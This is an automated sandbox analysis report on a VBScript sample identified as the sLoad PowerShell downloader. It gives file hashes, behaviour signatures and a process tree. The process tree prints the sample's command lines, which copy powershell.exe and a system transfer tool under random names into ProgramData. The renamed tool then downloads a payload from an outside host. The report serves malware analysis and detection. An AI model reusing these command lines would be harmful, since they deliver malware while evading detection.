Analysis

  • max time kernel
    147s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-07-2024 21:00

General

  • Target

    29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs

  • Size

    9KB

  • MD5

    29559f995653dd2346c9dfbd082e8106

  • SHA1

    5234aa0c46b9cd856d42d9952da3710edbebb329

  • SHA256

    db2b2aca54ef81c93e298620e3a8dc6ca812335f0306924fb060d2bd9fe0fc28

  • SHA512

    a42116e42dd6bbee0a7faf4c4f560ec2e94d03d63fc0a1c1ffe7555f04c80190f6c4c1e5829526823802a7c4226302ae916cfa25a74af6f51633084700096135

  • SSDEEP

    192:VFlRdcLMXrNDN8cPVAXSOh8TOhWDTaDrm8yhFdFxF9:NRgMXrNJ8cPVAXTh8TOsDTaDK8yl

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\29559f995653dd2346c9dfbd082e8106_JaffaCakes118.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3568
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aCWQUoY.exe
        3⤵
          PID:232
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\ZpbZtRq*.exe
          3⤵
            PID:3832
        • C:\ProgramData\ZpbZtRqin.exe
          "C:\ProgramData\ZpbZtRqin.exe" /wrap /transfer pNivTrJI https://analyzare.com/annalisa/NRDMSM70P21H501S/lagos.xls C:\ProgramData\lagos.xls
          2⤵
          • Executes dropped EXE
          PID:4100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\ZpbZtRqin.exe

        Filesize

        182KB

        MD5

        f57a03fa0e654b393bb078d1c60695f3

        SHA1

        1ced6636bd2462c0f1b64775e1981d22ae57af0b

        SHA256

        c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c

        SHA512

        7e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a